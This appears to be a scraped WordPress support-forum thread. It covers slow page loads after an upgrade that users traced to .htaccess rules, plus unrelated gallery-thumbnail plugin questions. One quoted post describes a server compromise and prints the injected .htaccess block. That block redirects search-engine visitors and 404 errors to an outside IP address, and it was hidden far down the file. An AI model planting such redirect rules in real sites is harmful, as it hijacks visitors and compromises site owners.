Was there ever a resolution to this issue?

otto: any thoughts on why those changes to .htaccess might address the speed issues people have been reporting? I think if we could dig into that, it might lead somewhere good…

Of course when I comment those lines out, I can’t view any of my archived posts. <sigh> Interestingly enough, putting those lines back in slows my pages loads way down again. So there is definitely something going on there…

For whatever it is worth, I ripped out these lines from my .htaccess file and my site has returned to its 2.6 speeds:

# BEGIN WordPress
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>

Why was the Trac Ticket 8590 referenced above changed to Closed status with a resolution value of Invalid?

I used it and aside from the Flash Uploader for images being broken ( though I think this is a bug 2.7 bug, not an upgrade issue ), it worked like a champ…

Same issue here as well….

Nevermind… I just found this on another site:

Well in case anyone finds they have the same issue, I have resolved it and am letting you all know how I found it.

It was obvious someone got access to my server, so I have changed my password.

Once in they added the following code to my .htaccess file

RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*aol.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*msn.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*altavista.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*ask.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*yahoo.*$ [NC]
RewriteRule .* https://87.248.180.88/in.html?s=hg [R,L]
Errordocument 404 https://87.248.180.88/in.html?s=hg_err

They also placed it so far down you had to scroll down for ages to get to it. This is why I missed it the first time.

So there you have it. Thank god as it has saved me a lot of money!!!

Did anyone figure this out? A bunch of my links are now doing the same thing…

James,

I may have found one more bug:

Specifically, if I upload an image to a post that has the same file name as a different image associated with a different post, the correct image does not display in the thumbnail (for the single post or the gallery). Here is an example:

https://billunger.com/2007/06/27/summer-washin/

Click on the image of the kitchen – it is 1.jpg – when you click it, the correct image ( my son ) displays….

Any thoughts?

Thanks again!
Bill

James,

Thanks again for the help and two more questions… ??

I do have the “Link Post Thumbnail To” setting set to “Post Permalink” but no go. Any thoughts?

Do you take donations? ??

thanks again,
Bill

James,

Ignore that second question – I figured it out. I had a size parameter in the gallery shortcode that was frying it for some reason. After removing the size parm, everything is dandy for question 2. I am still curious about question 1, though… ??

And I would like to add one more question: is it possible to center the main page thumbnail and then have the post text below the image? I tried centering and using some html tags, but they get ignored…

thanks again,
Bill

James,

That is awesome and may be exactly what I was looking for. I have downloaded, installed, and tested the plugin and have two questions that will hopefully “seal the deal!”

1. Is it possible to change the image link on the main page (ie., index.php) from the image that is displayed to a link to the related post?

2. I have set the thumbnail size to 50×50, which is accurately reflecting on the main page; however, when I view the gallery in the post itself all of the images are full size and I can’t seem to get them to resize. Any thoughts? Also… any thoughts on how I might be able better organize the gallery images on the post page?

By the way, the example can be seen under the Kitchen Remodeling post at https://test.billunger.com

Thanks again and excellent work!
Bill

anyone… bueller… bueller… bueller ??
